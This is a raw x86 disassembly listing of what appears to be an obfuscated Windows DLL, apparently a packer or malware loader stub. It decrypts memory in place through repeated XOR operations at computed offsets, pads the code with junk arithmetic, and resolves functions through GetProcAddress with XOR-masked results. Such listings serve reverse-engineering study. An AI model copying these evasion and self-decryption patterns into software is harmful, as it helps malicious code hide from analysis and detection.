xor eax, dword [edx]
xor eax, 0xdccd13e1
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x75d4]
add eax, 0x27ae0
xor eax, dword [edx]
xor eax, 0xdcceb62c
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x14013]
add eax, 0x20078
xor eax, dword [edx]
xor eax, esi
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x1c7ae]
add eax, 0xa508c
xor eax, dword [edx]
xor eax, 0xdcc69c40
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x10c3]
add eax, 0x1f728
xor eax, dword [edx]
xor eax, 0xdccd3be4
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x4e49]
add eax, 0x25b6c
xor eax, dword [edx]
xor eax, 0xdcce97a0
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0xabf4]
add eax, 0x27e64
xor eax, dword [edx]
xor eax, 0xdcceb2a8
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0xd513]
add eax, 0x37108
xor eax, dword [edx]
xor eax, 0xdccfbdc4
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0xeb71]
add eax, 0x20318
xor eax, dword [edx]
xor eax, 0xdccecfd4
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x370e8]
add eax, 0x31620
xor eax, dword [edx]
xor eax, 0xdccfdaec
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x5b4a]
add eax, 0x202b8
xor eax, dword [edx]
xor eax, 0xdccece74
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0xbddf]
add eax, 0x28754
xor eax, dword [edx]
xor eax, 0xdcce4b98
mov dword [edx], eax
mov eax, dword [0x101062e0]
and eax, 0xb66345f9
mov dword [0x10105368], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x1930c]
add eax, 0x2385c
xor eax, dword [edx]
xor eax, 0xdccef490
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x1ebf8]
add eax, 0x34448
xor eax, dword [edx]
xor eax, 0xdccf8884
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x19a9]
add eax, 0x24d98
xor eax, dword [edx]
xor eax, 0xdcce8154
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x4c4f]
add eax, 0x20244
xor eax, dword [edx]
xor eax, 0xdccece88
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x33d00]
add eax, 0x1bc4f
xor eax, dword [edx]
xor eax, 0xdccd7083
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x11e82]
add eax, 0x324b8
xor eax, dword [edx]
xor eax, 0xdccfe874
mov dword [edx], eax
mov eax, dword [0x10107300]
mov edx, eax
and edx, dword [esp + 0x14]
mov dword [0x10105ab8], edx
lea edx, [eax + 0x32f80]
add eax, 0x32f54
xor eax, dword [edx]
xor eax, 0xdccfe398
mov dword [edx], eax
mov eax, dword [0x10107300]
and dword [0x10103e60], 0
lea edx, [eax + 0xfdcd]
add eax, 0x20078
xor eax, dword [edx]
xor eax, esi
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x231d4]
add eax, 0x32ba0
xor eax, dword [edx]
push 0x10107404
xor eax, 0xdccfe76c
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x163b]
add eax, 0x2007c
xor eax, dword [edx]
push dword [esp + 0x48]
xor eax, 0xdcceccb0
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x33398]
add eax, 0x33110
xor eax, dword [edx]
xor eax, 0xdccffddc
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x1218c]
add eax, 0x2007c
xor eax, dword [edx]
xor eax, 0xdcceccb0
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x15964]
add eax, 0x14dd8
xor eax, dword [edx]
xor eax, 0xdccd8114
mov dword [edx], eax
mov eax, dword [0x10107300]
mov edx, eax
and edx, ecx
lea ecx, [eax + 0xa4094]
add eax, 0x7a6b0
xor eax, dword [ecx]
mov dword [esp + 0x20], edx
xor eax, 0xdccb6a7c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1d46b]
add eax, 0xa55c4
xor eax, dword [ecx]
xor eax, 0xdcc69908
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20224
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf866e
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x29058]
add eax, 0x3344c
xor eax, dword [ecx]
xor eax, 0xdccff880
mov dword [ecx], eax
mov eax, dword [0x10105abc]
or eax, dword [esp + 0x18]
mov dword [0x101062e4], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x370b8]
add eax, 0x31ee8
xor eax, dword [ecx]
xor eax, 0xdccfd224
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1cb1a]
add eax, 0xa55b8
xor eax, dword [ecx]
xor eax, 0xdcc69974
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov dword [0x10105368], eax
lea ecx, [eax + 0x337a8]
add eax, 0x36ea0
xor eax, dword [ecx]
mov dword [esp + 0x10], 0xac
xor eax, 0xdccfa26c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [0x1010536c]
sub ecx, eax
mov dword [0x101062e4], ecx
lea ecx, [eax + 0x1b130]
add eax, 0x2018c
xor eax, dword [ecx]
xor eax, 0xdccecd40
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov dword [0x10105abc], eax
lea ecx, [eax + 0xa3e54]
add eax, 0x5cef8
xor eax, dword [ecx]
xor eax, 0xdcc90234
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c26b]
add eax, 0xa5570
xor eax, dword [ecx]
xor eax, 0xdcc699bc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa40dc]
add eax, 0x7c110
xor eax, dword [ecx]
xor eax, 0xdccb0ddc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1ad8e]
add eax, 0xa8fb8
xor eax, dword [ecx]
xor eax, 0xdcc64374
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
xor ecx, 0xe98252ca
mov dword [0x101062e0], ecx
lea ecx, [eax + 0x111c5]
add eax, 0x20040
xor eax, dword [ecx]
xor eax, 0xdccecc8c
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x10105ab8]
push dword [0x101062e0]
push section..data
call fcn.1001555e
dec dword [esp + 0x10]
jne 0x1003be9e
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa400c]
add eax, 0x27748
xor eax, dword [ecx]
push 0x10107e5b
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2ae4]
add eax, 0xa7b14
xor eax, dword [ecx]
push dword [esp + 0x34]
xor eax, 0xdcc6b7d8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33a70]
add eax, 0x33a74
xor eax, dword [ecx]
xor eax, 0xdccff6b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x119a]
add eax, 0x24b20
xor eax, dword [ecx]
xor eax, 0xdcce87ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x62c92ade]
add eax, 0x2002c
mov dword [0x101062e4], ecx
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
mov dword [esp + 0x10], 0x1c6
xor ecx, 0xcccf9f7c
mov dword [eax], ecx
push dword [0x10107300]
push dword [0x10103e64]
push dword [0x101062e0]
push section..data
call fcn.1001555e
dec dword [esp + 0x10]
jne 0x1003bf61
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8893]
add eax, 0x200e0
xor eax, dword [ecx]
push 0x10107e09
xor eax, 0xdccecc2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xedeb]
push dword [esp + 0x34]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3cc4]
add eax, 0x27610
xor eax, dword [ecx]
xor eax, 0xdccebadc
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20014
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
mov edx, 0xdcce8650
xor ecx, 0xcccf9f9c
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xad33]
add eax, 0x24a9c
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1ce94]
add eax, 0x1ceb4
xor eax, dword [ecx]
xor eax, 0xdccd0278
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa416c]
add eax, 0x7c6c8
xor eax, dword [ecx]
xor eax, 0xdccb0a04
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1d6e9]
add eax, 0x201fc
xor eax, dword [ecx]
xor eax, 0xdccecd30
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe209]
add eax, 0x28f30
xor eax, dword [ecx]
xor eax, 0xdcce43fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8ddc]
add eax, 0x20004
xor eax, dword [ecx]
xor eax, 0xdcceccc8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x331dc]
add eax, 0x331a8
xor eax, dword [ecx]
xor eax, 0xdccffd64
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3a68]
mov dword [esp + 0x14], eax
add eax, 0x2775c
xor eax, dword [ecx]
xor eax, 0xdccebb90
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe16e]
add eax, 0x24a9c
xor eax, dword [ecx]
push 0x10107566
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x2009c
push ebp
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf876c
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1407d]
add eax, 0xa5a4c
xor eax, dword [ecx]
xor eax, 0xdcc69680
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33994]
add eax, 0x33998
xor eax, dword [ecx]
xor eax, 0xdccff554
mov dword [ecx], eax
mov eax, dword [0x10105368]
add dword [0x10105ab8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa435]
add eax, 0xa5a08
xor eax, dword [ecx]
xor eax, 0xdcc696c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4350]
add eax, 0x26744
xor eax, dword [ecx]
xor eax, 0xdcceab88
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24010]
add eax, 0x23eb4
xor eax, dword [ecx]
xor eax, 0xdccef278
mov dword [ecx], eax
mov eax, dword [0x10105368]
xor eax, 0x4890ae7a
mov dword [0x10103e64], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3c08]
add eax, 0x25748
xor eax, dword [ecx]
xor eax, 0xdcce9b84
mov dword [ecx], eax
mov eax, dword [0x10106ae8]
and eax, dword [esp + 0x14]
mov dword [0x10105ab8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a64]
add eax, 0x13040
xor eax, dword [ecx]
xor eax, 0xdccdfc8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, dword [0x101062e4]
mov dword [0x10105abc], ecx
lea ecx, [eax + 0x1975b]
add eax, 0xa8fe0
xor eax, dword [ecx]
xor eax, 0xdcc6432c
mov dword [ecx], eax
mov eax, dword [0x101062e0]
xor dword [0x10106ae8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3cdc]
add eax, 0x27610
xor eax, dword [ecx]
xor eax, 0xdccebadc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4f8]
add eax, 0x20364
xor eax, dword [ecx]
xor eax, 0xdccecfa8
mov dword [ecx], eax
mov eax, dword [0x10105ab8]
and eax, dword [esp + 0x14]
mov dword [0x10106ae8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1e486]
add eax, 0xa8f34
xor eax, dword [ecx]
xor eax, 0xdcc643f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13e9b]
add eax, 0x202d4
xor eax, dword [ecx]
xor eax, 0xdccece18
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [0x10105ab8]
mov dword [0x10105368], ecx
lea ecx, [eax + 0x2401]
add eax, 0x25088
xor eax, dword [ecx]
xor eax, 0xdcce9c44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19b08]
add eax, 0x20094
xor eax, dword [ecx]
xor eax, 0xdccecc58
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [esp + 0x18]
add ecx, eax
mov dword [0x1010536c], ecx
lea ecx, [eax + 0x9d9c]
add eax, 0x2009c
xor eax, dword [ecx]
xor eax, 0xdccecc50
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x332a4]
add eax, 0x332b8
xor eax, dword [ecx]
xor eax, 0xdccffe74
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe1c3]
add eax, 0x28eb0
xor eax, dword [ecx]
xor eax, 0xdcce427c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc529]
add eax, 0x2897c
xor eax, dword [ecx]
xor eax, 0xdcce45b0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa491c]
add eax, 0xa2cc8
xor eax, dword [ecx]
xor eax, 0xdcc6e004
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x231e8]
add eax, 0x17d0e
xor eax, dword [ecx]
xor eax, 0xdccdb1c2
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4e09]
add eax, 0x25b3c
xor eax, dword [ecx]
xor eax, 0xdcce97f0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x23fb0]
add eax, 0x23a3c
xor eax, dword [ecx]
mov edx, 0xdccece10
xor eax, 0xdccef6f0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8858]
add eax, 0x200dc
xor eax, dword [ecx]
xor eax, 0xdccecc10
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b0fb]
add eax, 0xa51ec
xor eax, dword [ecx]
xor eax, 0xdcc69d20
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x30c9]
add eax, 0x1f64b
xor eax, dword [ecx]
xor eax, 0xdccd3a87
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c292]
add eax, 0xa5570
xor eax, dword [ecx]
xor eax, 0xdcc699bc
mov dword [ecx], eax
mov eax, dword [0x10103e64]
or eax, dword [0x10106ae8]
mov dword [0x101062e0], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19249]
add eax, 0xa4f48
xor eax, dword [ecx]
xor eax, 0xdcc68384
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12442]
add eax, 0x202dc
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x1010536c]
imul eax, dword [esp + 0x18]
mov dword [0x10103e60], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2127]
add eax, 0xa5680
xor eax, dword [ecx]
xor eax, 0xdcc69a4c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc829]
add eax, 0x28b88
xor eax, dword [ecx]
xor eax, 0xdcce4744
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, eax
mov dword [0x10103e60], ecx
lea ecx, [eax + 0x191e8]
add eax, 0xa4f48
xor eax, dword [ecx]
xor eax, 0xdcc68384
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3b28]
add eax, 0x27628
xor eax, dword [ecx]
xor eax, 0xdccebae4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x334a0]
add eax, 0x3309c
xor eax, dword [ecx]
xor eax, 0xdccffc50
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x328b8]
add eax, 0xf070
xor eax, dword [ecx]
push 0x101075c9
xor eax, 0xdccc3cbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19452]
add eax, 0xa4f74
xor eax, dword [ecx]
push ebp
xor eax, 0xdcc683b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc010]
add eax, 0x202dc
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x200b8
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf80d8
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x140b9]
add eax, 0xa5a7c
xor eax, dword [ecx]
xor eax, 0xdcc696b0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x194b7]
add eax, 0xa90e8
xor eax, dword [ecx]
xor eax, 0xdcc65c24
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24ab]
add eax, 0x24dd8
xor eax, dword [ecx]
xor eax, 0xdcce8114
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, dword [0x10103e64]
mov dword [0x10103e64], ecx
lea ecx, [eax + 0xbea1]
add eax, 0x28fac
xor eax, dword [ecx]
xor eax, 0xdcce4360
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
xor ecx, dword [0x101062e0]
mov dword [0x10105ab8], ecx
lea ecx, [eax + 0xb813]
add eax, 0x1f81a
xor eax, dword [ecx]
xor eax, 0xdccd34d6
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17b00]
add eax, 0xa8fd0
xor eax, dword [ecx]
xor eax, 0xdcc6431c
mov dword [ecx], eax
mov eax, dword [esp + 0x18]
or eax, 0x2ada8349
mov dword [0x1010536c], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x128fb]
add eax, 0x4b40
xor eax, dword [ecx]
xor eax, 0xdccc878c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x331ec]
add eax, 0x36f88
xor eax, dword [ecx]
push 1
xor eax, 0xdccfa344
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13e33]
push dword [esp + 0x38]
add eax, 0xa5acc
xor eax, dword [ecx]
xor eax, 0xdcc69600
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a92c]
add eax, 0xa8fb8
xor eax, dword [ecx]
xor eax, 0xdcc64374
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x2034c
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
push 0x10107ddb
xor ecx, 0x4ccccccd
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16a53]
add eax, 0x21408
xor eax, dword [ecx]
push dword [esp + 0x34]
xor eax, 0xdcced8c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1db8f]
add eax, 0x20068
xor eax, dword [ecx]
xor eax, 0xdccecca4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa79d]
add eax, 0xa59e8
xor eax, dword [ecx]
xor eax, 0xdcc69524
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4abe]
add eax, 0x202dc
xor eax, dword [ecx]
xor eax, 0xdccece10
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x7362]
add eax, 0x20010
xor eax, dword [ecx]
xor eax, 0xdcceccdc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3bd]
add eax, 0x20118
xor eax, dword [ecx]
xor eax, 0xdccecdd4
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20008
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9fd6
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa39d4]
add eax, 0x37c20
xor eax, dword [ecx]
xor eax, 0xdccfb0ec
mov dword [ecx], eax
mov eax, dword [0x10105368]
mov ecx, eax
imul ecx, eax
mov eax, dword [0x10107300]
mov dword [0x10103e64], ecx
lea ecx, [eax + 0x1c5ba]
add eax, 0x33d28
xor eax, dword [ecx]
xor eax, 0xdccff1e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x169e5]
add eax, 0x21008
xor eax, dword [ecx]
xor eax, 0xdccedcc4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x54ee]
add eax, 0x2008c
xor eax, dword [ecx]
xor eax, 0xdccecc40
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32c1c]
add eax, 0x32c20
xor eax, dword [ecx]
xor eax, 0xdccfe0ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19b02]
add eax, 0xa5084
xor eax, dword [ecx]
xor eax, 0xdcc69c48
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33598]
add eax, 0xa4b6c
xor eax, dword [ecx]
xor eax, 0xdcc687a0
mov dword [ecx], eax
mov eax, dword [0x10103e64]
and eax, dword [0x10106ae8]
mov dword [0x10105ab8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf296]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xab75]
add eax, 0xa5a18
xor eax, dword [ecx]
xor eax, 0xdcc696d4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x474d]
add eax, 0x202cc
xor eax, dword [ecx]
xor eax, 0xdccece00
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x179ad]
add eax, 0x17a20
xor eax, dword [ecx]
xor eax, 0xdccdb6ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa487c]
add eax, 0x27480
xor eax, dword [ecx]
xor eax, 0xdcceb84c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1bc9b]
add eax, 0xa90ec
xor eax, dword [ecx]
xor eax, 0xdcc65c20
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9e52]
add eax, 0x200ac
xor eax, dword [ecx]
push 0x10107963
xor eax, 0xdccecc60
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25744]
add eax, 0x3e90
xor eax, dword [ecx]
push ebp
xor eax, 0xdcccf25c
mov dword [ecx], eax
mov eax, dword [0x10107300]
or dword [0x10105abc], eax
lea ecx, [eax + 0x1f617]
add eax, 0x34094
xor eax, dword [ecx]
xor eax, 0xdccf8c58
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1f897]
add eax, 0xa4be0
xor eax, dword [ecx]
xor eax, 0xdcc6872c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, ecx, 0x7196fe66
mov dword [0x10103e60], ecx
mov ecx, dword [esp + 0x1c]
imul ecx, ecx
mov dword [0x10106ae8], ecx
lea ecx, [eax + 0x140d2]
add eax, 0xa5a90
xor eax, dword [ecx]
xor eax, 0xdcc6965c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x335b0]
add eax, 0x335f0
xor eax, dword [ecx]
xor eax, 0xdccff93c
mov dword [ecx], eax
mov eax, dword [0x101062e4]
add eax, eax
mov dword [0x101062e4], eax
mov eax, dword [0x10107300]
add eax, 0x20198
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9968
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x332b8]
add eax, 0x36fc8
xor eax, dword [ecx]
xor eax, 0xdccfa304
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb443]
add eax, 0x200ac
xor eax, dword [ecx]
xor eax, 0xdccecc60
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8a56]
add eax, 0x27c58
xor eax, dword [ecx]
xor eax, 0xdcceb094
mov dword [ecx], eax
mov ecx, dword [esp + 0x18]
mov eax, dword [0x101062e4]
add eax, ecx
mov dword [0x1010536c], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa492]
add eax, 0xa5a08
xor eax, dword [ecx]
xor eax, 0xdcc696c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9993]
add eax, 0x27dd0
xor eax, dword [ecx]
xor eax, 0xdcceb11c
mov dword [ecx], eax
mov eax, dword [0x10105abc]
xor eax, 0x910db929
mov dword [0x10103e60], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb9a1]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36b74]
add eax, 0xa55bc
xor eax, dword [ecx]
xor eax, 0xdcc69970
mov dword [ecx], eax
mov eax, dword [0x10105368]
lea ecx, [eax + 0x2891a8e7]
mov dword [0x10106ae8], ecx
mov ecx, dword [0x10105abc]
lea edx, [ecx + eax]
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32ef0]
add eax, 0x32ef4
xor eax, dword [ecx]
xor eax, 0xdccfe238
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3315c]
add eax, 0x32fa8
xor eax, dword [ecx]
xor eax, 0xdccfe364
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b7ec]
add eax, 0x33cc8
xor eax, dword [ecx]
xor eax, 0xdccff004
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x256f4]
add eax, 0x3eb0
xor eax, dword [ecx]
xor eax, 0xdcccf27c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3ba0]
add eax, 0x27550
xor eax, dword [ecx]
xor eax, 0xdcceb99c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4200]
add eax, 0x2697c
xor eax, dword [ecx]
xor eax, 0xdccea5b0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa6bc]
add eax, 0xa4c0
xor eax, dword [ecx]
xor eax, 0xdccc680c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf881]
add eax, 0x2908c
xor eax, dword [ecx]
xor eax, 0xdcce5c40
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1251a]
add eax, 0x20244
xor eax, dword [ecx]
xor eax, 0xdccece88
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax - 0x2548aab6]
mov dword [0x1010536c], ecx
mov ecx, dword [0x10103e64]
add ecx, eax
mov dword [esp + 0x14], ecx
lea ecx, [eax + 0x1f6bc]
add eax, 0x34178
xor eax, dword [ecx]
xor eax, 0xdccf8db4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x90e7]
add eax, 0x27c8c
xor eax, dword [ecx]
xor eax, 0xdcceb040
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9d7b]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9fc2]
add eax, 0xa5688
xor eax, dword [ecx]
xor eax, 0xdcc69a44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xab03]
add eax, 0xa5a3c
xor eax, dword [ecx]
xor eax, 0xdcc696f0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25490]
add eax, 0x2da0
xor eax, dword [ecx]
xor eax, 0xdccce16c
mov dword [ecx], eax
mov eax, dword [0x10105ab8]
xor eax, dword [0x10106ae8]
mov dword [0x10103e64], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xbf7c]
add eax, 0x20244
xor eax, dword [ecx]
